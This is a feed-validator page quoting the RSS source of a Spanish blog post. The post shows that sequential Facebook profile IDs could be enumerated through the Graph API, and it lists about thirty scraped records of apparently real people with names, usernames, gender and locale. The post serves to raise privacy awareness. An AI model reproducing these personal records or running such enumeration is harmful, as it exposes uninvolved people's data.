  336. <p style="text-align: justify;">Luego voy a mostrar un ejemplo, pero teoricamente es &nbsp;posible crear un algoritmo que variando las secuencias numéricas de la URL, capture las imágenes subidas. Las secuencias numéricas no son numeros al azar, sino que identifican el perfil, el album y la foto (ejemplo burdo). Un ejemplo particular, el&nbsp;<span class="Apple-style-span" style="color: #ff0000; font-family: Consolas, Monaco, monospace; font-size: 12px; line-height: 18px; white-space: pre;">639435781 </span>remarcado en la URL corresponde a mi &#8216;profile id&#8221;.</p>
  337. <p style="text-align: justify;">Existe una suerte de &#8220;aplicación&#8221; dentro de facebook, que dado un numero de perfil, nos devuelve cierta información.<br />
  338. <a href=" http://graph.facebook.com/639435781">http://graph.facebook.com/639435781</a> nos devuelve:</p>
  339. <p style="text-align: justify;">[su_note color=&#8221;#e0e0e0&#8243;]<br />
  340. {<br />
  341. &#8220;id&#8221;: &#8220;639435781&#8221;,<br />
  342. &#8220;name&#8221;: &#8220;Alejandro Pernin&#8221;,<br />
  343. &#8220;first_name&#8221;: &#8220;Alejandro&#8221;,<br />
  344. &#8220;last_name&#8221;: &#8220;Pernin&#8221;,<br />
  345. &#8220;link&#8221;: &#8220;https://www.facebook.com/ale.pernin&#8221;,<br />
  346. &#8220;username&#8221;: &#8220;ale.pernin&#8221;,<br />
  347. &#8220;gender&#8221;: &#8220;male&#8221;,<br />
  348. &#8220;locale&#8221;: &#8220;en_GB&#8221;<br />
  349. }[/su_note]</p>
  350. <p style="text-align: justify;">No es información del todo privada, menciona solo mi nombre, apellido, sexo y en qué idioma uso Facebook; asimismo si mi configuración de privacidad fuese tal que mi mail sea público, aparecería en los datos. De nuevo, esto nos permite mediante un algoritmo (para nada complicado) ir obteniendo datos, por ejemplo yo utilizé un algoritmo que a partir de mi id, iba a obtener los resultados de los siguientes 100 id&#8217;s; el resultado fué el siguiente:</p>
  351. <p style="text-align: justify;">[su_spoiler title=&#8221;Ver Resultados&#8221;]</p>
  352. <p style="text-align: justify;">{&#8220;id&#8221;:&#8221;639435781&#8243;,&#8221;name&#8221;:&#8221;Alejandro Pernin&#8221;,&#8221;first_name&#8221;:&#8221;Alejandro&#8221;,&#8221;last_name&#8221;:&#8221;Pernin&#8221;,&#8221;link&#8221;:&#8221;http://www.facebook.com/ale.pernin&#8221;,&#8221;username&#8221;:&#8221;ale.pernin&#8221;,&#8221;gender&#8221;:&#8221;male&#8221;,&#8221;locale&#8221;:&#8221;en_GB&#8221;}<br />
  353. {&#8220;id&#8221;:&#8221;639435782&#8243;,&#8221;name&#8221;:&#8221;Roslyn Fontaine&#8221;,&#8221;first_name&#8221;:&#8221;Roslyn&#8221;,&#8221;last_name&#8221;:&#8221;Fontaine&#8221;,&#8221;link&#8221;:&#8221;http://www.facebook.com/people/Roslyn-Fontaine/639435782&#8243;,&#8221;locale&#8221;:&#8221;en_US&#8221;}<br />
  354. {&#8220;id&#8221;:&#8221;639435787&#8243;,&#8221;name&#8221;:&#8221;Lucie Sykes&#8221;,&#8221;first_name&#8221;:&#8221;Lucie&#8221;,&#8221;last_name&#8221;:&#8221;Sykes&#8221;,&#8221;gender&#8221;:&#8221;female&#8221;,&#8221;locale&#8221;:&#8221;en_US&#8221;}<br />
  355. {&#8220;id&#8221;:&#8221;639435789&#8243;,&#8221;name&#8221;:&#8221;Joy Garcia&#8221;,&#8221;first_name&#8221;:&#8221;Joy&#8221;,&#8221;last_name&#8221;:&#8221;Garcia&#8221;,&#8221;link&#8221;:&#8221;http://www.facebook.com/people/Joy-Garcia/639435789&#8243;,&#8221;gender&#8221;:&#8221;female&#8221;,&#8221;locale&#8221;:&#8221;en_US&#8221;}<br />
  356. {&#8220;id&#8221;:&#8221;639435792&#8243;,&#8221;name&#8221;:&#8221;Franco Olivera&#8221;,&#8221;first_name&#8221;:&#8221;Franco&#8221;,&#8221;last_name&#8221;:&#8221;Olivera&#8221;,&#8221;link&#8221;:&#8221;http://www.facebook.com/people/Franco-Olivera/639435792&#8243;,&#8221;gender&#8221;:&#8221;male&#8221;,&#8221;locale&#8221;:&#8221;es_LA&#8221;}<br />
  357. {&#8220;id&#8221;:&#8221;639435795&#8243;,&#8221;name&#8221;:&#8221;Mary Ann&#8221;,&#8221;first_name&#8221;:&#8221;Mary&#8221;,&#8221;last_name&#8221;:&#8221;Ann&#8221;,&#8221;link&#8221;:&#8221;http://www.facebook.com/people/Mary-Ann/639435795&#8243;,&#8221;locale&#8221;:&#8221;en_US&#8221;}<br />
  358. {&#8220;id&#8221;:&#8221;639435796&#8243;,&#8221;name&#8221;:&#8221;Selovema Alami&#8221;,&#8221;first_name&#8221;:&#8221;Selovema&#8221;,&#8221;last_name&#8221;:&#8221;Alami&#8221;,&#8221;link&#8221;:&#8221;http://www.facebook.com/people/Selovema-Alami/639435796&#8243;,&#8221;gender&#8221;:&#8221;female&#8221;,&#8221;locale&#8221;:&#8221;fr_FR&#8221;}<br />
  359. {&#8220;id&#8221;:&#8221;639435803&#8243;,&#8221;name&#8221;:&#8221;Krista Schriver&#8221;,&#8221;first_name&#8221;:&#8221;Krista&#8221;,&#8221;last_name&#8221;:&#8221;Schriver&#8221;,&#8221;link&#8221;:&#8221;http://www.facebook.com/kristaaa&#8221;,&#8221;username&#8221;:&#8221;kristaaa&#8221;,&#8221;gender&#8221;:&#8221;female&#8221;,&#8221;locale&#8221;:&#8221;en_US&#8221;}<br />
  360. {&#8220;id&#8221;:&#8221;639435805&#8243;,&#8221;name&#8221;:&#8221;Amanda Wade&#8221;,&#8221;first_name&#8221;:&#8221;Amanda&#8221;,&#8221;last_name&#8221;:&#8221;Wade&#8221;,&#8221;gender&#8221;:&#8221;female&#8221;,&#8221;locale&#8221;:&#8221;en_US&#8221;}<br />
  361. {&#8220;id&#8221;:&#8221;639435807&#8243;,&#8221;name&#8221;:&#8221;William Waddington&#8221;,&#8221;first_name&#8221;:&#8221;William&#8221;,&#8221;last_name&#8221;:&#8221;Waddington&#8221;,&#8221;link&#8221;:&#8221;http://www.facebook.com/people/William-Waddington/639435807&#8243;,&#8221;gender&#8221;:&#8221;male&#8221;,&#8221;locale&#8221;:&#8221;en_US&#8221;}<br />
  362. {&#8220;id&#8221;:&#8221;639435813&#8243;,&#8221;name&#8221;:&#8221;Stephen R. Abdon&#8221;,&#8221;first_name&#8221;:&#8221;Stephen&#8221;,&#8221;middle_name&#8221;:&#8221;R.&#8221;,&#8221;last_name&#8221;:&#8221;Abdon&#8221;,&#8221;link&#8221;:&#8221;http://www.facebook.com/people/Stephen-R-Abdon/639435813&#8243;,&#8221;gender&#8221;:&#8221;male&#8221;,&#8221;locale&#8221;:&#8221;en_US&#8221;}<br />
  363. {&#8220;id&#8221;:&#8221;639435815&#8243;,&#8221;name&#8221;:&#8221;Andres Restrepo Bastidas&#8221;,&#8221;first_name&#8221;:&#8221;Andres&#8221;,&#8221;last_name&#8221;:&#8221;Restrepo Bastidas&#8221;,&#8221;link&#8221;:&#8221;http://www.facebook.com/people/Andres-Restrepo-Bastidas/639435815&#8243;,&#8221;gender&#8221;:&#8221;male&#8221;,&#8221;locale&#8221;:&#8221;es_LA&#8221;}<br />
  364. {&#8220;id&#8221;:&#8221;639435818&#8243;,&#8221;name&#8221;:&#8221;Jerome Haquin&#8221;,&#8221;first_name&#8221;:&#8221;Jerome&#8221;,&#8221;last_name&#8221;:&#8221;Haquin&#8221;,&#8221;link&#8221;:&#8221;http://www.facebook.com/people/Jerome-Haquin/639435818&#8243;,&#8221;gender&#8221;:&#8221;male&#8221;,&#8221;locale&#8221;:&#8221;en_US&#8221;}<br />
  365. {&#8220;id&#8221;:&#8221;639435820&#8243;,&#8221;name&#8221;:&#8221;Nick Yencopal&#8221;,&#8221;first_name&#8221;:&#8221;Nick&#8221;,&#8221;last_name&#8221;:&#8221;Yencopal&#8221;,&#8221;link&#8221;:&#8221;http://www.facebook.com/nick.yencopal&#8221;,&#8221;username&#8221;:&#8221;nick.yencopal&#8221;,&#8221;gender&#8221;:&#8221;male&#8221;,&#8221;locale&#8221;:&#8221;en_US&#8221;}<br />
  366. {&#8220;id&#8221;:&#8221;639435823&#8243;,&#8221;name&#8221;:&#8221;Carlos Velez&#8221;,&#8221;first_name&#8221;:&#8221;Carlos&#8221;,&#8221;last_name&#8221;:&#8221;Velez&#8221;,&#8221;link&#8221;:&#8221;http://www.facebook.com/people/Carlos-Velez/639435823&#8243;,&#8221;gender&#8221;:&#8221;male&#8221;,&#8221;locale&#8221;:&#8221;es_LA&#8221;}<br />
  367. {&#8220;id&#8221;:&#8221;639435826&#8243;,&#8221;name&#8221;:&#8221;Meryem u00c7alu0131u015fkan&#8221;,&#8221;first_name&#8221;:&#8221;Meryem&#8221;,&#8221;last_name&#8221;:&#8221;u00c7alu0131u015fkan&#8221;,&#8221;link&#8221;:&#8221;http://www.facebook.com/people/Meryem-u00c7alu0131u015fkan/639435826&#8243;,&#8221;gender&#8221;:&#8221;female&#8221;,&#8221;locale&#8221;:&#8221;tr_TR&#8221;}<br />
  368. {&#8220;id&#8221;:&#8221;639435830&#8243;,&#8221;name&#8221;:&#8221;Emilio Consul Jr&#8221;,&#8221;first_name&#8221;:&#8221;Emilio&#8221;,&#8221;middle_name&#8221;:&#8221;Jr&#8221;,&#8221;last_name&#8221;:&#8221;Consul&#8221;,&#8221;link&#8221;:&#8221;http://www.facebook.com/people/Emilio-Consul-Jr/639435830&#8243;,&#8221;gender&#8221;:&#8221;male&#8221;,&#8221;locale&#8221;:&#8221;en_US&#8221;}<br />
  369. {&#8220;id&#8221;:&#8221;639435831&#8243;,&#8221;name&#8221;:&#8221;Mattie Willock&#8221;,&#8221;first_name&#8221;:&#8221;Mattie&#8221;,&#8221;last_name&#8221;:&#8221;Willock&#8221;,&#8221;link&#8221;:&#8221;http://www.facebook.com/people/Mattie-Willock/639435831&#8243;,&#8221;gender&#8221;:&#8221;male&#8221;,&#8221;locale&#8221;:&#8221;en_GB&#8221;}<br />
  370. {&#8220;id&#8221;:&#8221;639435835&#8243;,&#8221;name&#8221;:&#8221;Emanuel Calo&#8221;,&#8221;first_name&#8221;:&#8221;Emanuel&#8221;,&#8221;last_name&#8221;:&#8221;Calo&#8221;,&#8221;link&#8221;:&#8221;http://www.facebook.com/people/Emanuel-Calo/639435835&#8243;,&#8221;gender&#8221;:&#8221;male&#8221;,&#8221;locale&#8221;:&#8221;es_LA&#8221;}<br />
  371. {&#8220;id&#8221;:&#8221;639435840&#8243;,&#8221;name&#8221;:&#8221;Moo Massoud&#8221;,&#8221;first_name&#8221;:&#8221;Moo&#8221;,&#8221;last_name&#8221;:&#8221;Massoud&#8221;,&#8221;link&#8221;:&#8221;http://www.facebook.com/Tranceholic&#8221;,&#8221;username&#8221;:&#8221;Tranceholic&#8221;,&#8221;gender&#8221;:&#8221;male&#8221;,&#8221;locale&#8221;:&#8221;en_US&#8221;}<br />
  372. {&#8220;id&#8221;:&#8221;639435842&#8243;,&#8221;name&#8221;:&#8221;Emily Ong&#8221;,&#8221;first_name&#8221;:&#8221;Emily&#8221;,&#8221;last_name&#8221;:&#8221;Ong&#8221;,&#8221;gender&#8221;:&#8221;female&#8221;,&#8221;locale&#8221;:&#8221;en_US&#8221;}<br />
  373. {&#8220;id&#8221;:&#8221;639435843&#8243;,&#8221;name&#8221;:&#8221;Janet Ung&#8221;,&#8221;first_name&#8221;:&#8221;Janet&#8221;,&#8221;last_name&#8221;:&#8221;Ung&#8221;,&#8221;link&#8221;:&#8221;http://www.facebook.com/people/Janet-Ung/639435843&#8243;,&#8221;gender&#8221;:&#8221;female&#8221;,&#8221;locale&#8221;:&#8221;en_US&#8221;}<br />
  374. {&#8220;id&#8221;:&#8221;639435844&#8243;,&#8221;name&#8221;:&#8221;Alexandra Hughes&#8221;,&#8221;first_name&#8221;:&#8221;Alexandra&#8221;,&#8221;last_name&#8221;:&#8221;Hughes&#8221;,&#8221;username&#8221;:&#8221;alex.elizabeth.hughes&#8221;,&#8221;gender&#8221;:&#8221;female&#8221;,&#8221;locale&#8221;:&#8221;en_US&#8221;}<br />
  375. {&#8220;id&#8221;:&#8221;639435847&#8243;,&#8221;name&#8221;:&#8221;Tom Kurvers&#8221;,&#8221;first_name&#8221;:&#8221;Tom&#8221;,&#8221;last_name&#8221;:&#8221;Kurvers&#8221;,&#8221;link&#8221;:&#8221;http://www.facebook.com/people/Tom-Kurvers/639435847&#8243;,&#8221;gender&#8221;:&#8221;male&#8221;,&#8221;locale&#8221;:&#8221;en_US&#8221;}<br />
  376. {&#8220;id&#8221;:&#8221;639435855&#8243;,&#8221;name&#8221;:&#8221;Solveig Rabjerg&#8221;,&#8221;first_name&#8221;:&#8221;Solveig&#8221;,&#8221;last_name&#8221;:&#8221;Rabjerg&#8221;,&#8221;gender&#8221;:&#8221;female&#8221;,&#8221;locale&#8221;:&#8221;da_DK&#8221;}<br />
  377. {&#8220;id&#8221;:&#8221;639435858&#8243;,&#8221;name&#8221;:&#8221;Eddie Lian&#8221;,&#8221;first_name&#8221;:&#8221;Eddie&#8221;,&#8221;last_name&#8221;:&#8221;Lian&#8221;,&#8221;link&#8221;:&#8221;http://www.facebook.com/eddielian&#8221;,&#8221;username&#8221;:&#8221;eddielian&#8221;,&#8221;gender&#8221;:&#8221;male&#8221;,&#8221;locale&#8221;:&#8221;en_US&#8221;}<br />
  378. {&#8220;id&#8221;:&#8221;639435859&#8243;,&#8221;name&#8221;:&#8221;Rosie Romero&#8221;,&#8221;first_name&#8221;:&#8221;Rosie&#8221;,&#8221;last_name&#8221;:&#8221;Romero&#8221;,&#8221;link&#8221;:&#8221;http://www.facebook.com/rosa.romero1&#8243;,&#8221;username&#8221;:&#8221;rosa.romero1&#8243;,&#8221;gender&#8221;:&#8221;female&#8221;,&#8221;locale&#8221;:&#8221;en_US&#8221;}<br />
  379. {&#8220;id&#8221;:&#8221;639435861&#8243;,&#8221;name&#8221;:&#8221;Lee Blessed&#8221;,&#8221;first_name&#8221;:&#8221;Lee&#8221;,&#8221;last_name&#8221;:&#8221;Blessed&#8221;,&#8221;gender&#8221;:&#8221;female&#8221;,&#8221;locale&#8221;:&#8221;en_US&#8221;}<br />
  380. {&#8220;id&#8221;:&#8221;639435862&#8243;,&#8221;name&#8221;:&#8221;Wade Angeli&#8221;,&#8221;first_name&#8221;:&#8221;Wade&#8221;,&#8221;last_name&#8221;:&#8221;Angeli&#8221;,&#8221;username&#8221;:&#8221;wadange&#8221;,&#8221;gender&#8221;:&#8221;male&#8221;,&#8221;locale&#8221;:&#8221;en_US&#8221;}<br />
  381. {&#8220;id&#8221;:&#8221;639435865&#8243;,&#8221;name&#8221;:&#8221;Karlo Lugo&#8221;,&#8221;first_name&#8221;:&#8221;Karlo&#8221;,&#8221;last_name&#8221;:&#8221;Lugo&#8221;,&#8221;link&#8221;:&#8221;http://www.facebook.com/karlorlm&#8221;,&#8221;username&#8221;:&#8221;karlorlm&#8221;,&#8221;gender&#8221;:&#8221;male&#8221;,&#8221;locale&#8221;:&#8221;en_US&#8221;}<br />
  382. {&#8220;id&#8221;:&#8221;639435872&#8243;,&#8221;name&#8221;:&#8221;Mona Cecilie Bakkene&#8221;,&#8221;first_name&#8221;:&#8221;Mona&#8221;,&#8221;middle_name&#8221;:&#8221;Cecilie&#8221;,&#8221;last_name&#8221;:&#8221;Bakkene&#8221;,&#8221;link&#8221;:&#8221;http://www.facebook.com/people/Mona-Cecilie-Bakkene/639435872&#8243;,&#8221;gender&#8221;:&#8221;female&#8221;,&#8221;locale&#8221;:&#8221;nb_NO&#8221;}</p>
  383. <p style="text-align: justify;">[/su_spoiler]</p>
  384. <p style="text-align: justify;">Como se puede apreciar no son 100 resultados ya que algunos resultados arrojan &#8220;false&#8221; y mi algoritmo los omite; pero sin embargo se puede entender lo que quiero demostrar.</p>
  385. <p style="text-align: justify;">¿Es seguro utilizar Facebook?<br />
  386. <strong>&#8220;Lo dejo a tu criterio&#8221; </strong>&#8211; Karina Olga Jelinek, filósofa&nbsp;contemporánea&nbsp;argentina.</p>
  387. <p style="text-align: justify;"><a href="http://creativecommons.org/licenses/by/3.0/" rel="license"><img style="border-width: 0;" src="http://i.creativecommons.org/l/by/3.0/80x15.png" alt="Licencia Creative Commons"></a><br />
  388. Curiosidades de Facebook por <a href="http://blog.aleperno.com.ar/?p=343" rel="cc:attributionURL">Alejandro Pernin</a> se encuentra bajo una Licencia <a href="http://creativecommons.org/licenses/by/3.0/" rel="license">Creative Commons Atribución 3.0 Unported</a>.<br />
  389. Basada en una obra en <a href="http://blog.aleperno.com.ar" rel="dct:source">blog.aleperno.com.ar</a>.</p>
  390. <p><!--:--></p>
  391. ]]></content:encoded>
  392. <wfw:commentRss>https://blog.aleperno.com/?feed=rss2&#038;p=343</wfw:commentRss>
  393. <slash:comments>1</slash:comments>
  394. </item>
  395. </channel>
  396. </rss>
  397.  

If you would like to create a banner that links to this page (i.e. this validation result), do the following:

  1. Download the "valid RSS" banner.

  2. Upload the image to your own server. (This step is important. Please do not link directly to the image on this server.)

  3. Add this HTML to your page (change the image src attribute if necessary):

If you would like to create a text link instead, here is the URL you can use:

http://www.feedvalidator.org/check.cgi?url=http%3A//blog.aleperno.com.ar/%3Ffeed%3Drss2

Copyright © 2002-9 Sam Ruby, Mark Pilgrim, Joseph Walton, and Phil Ringnalda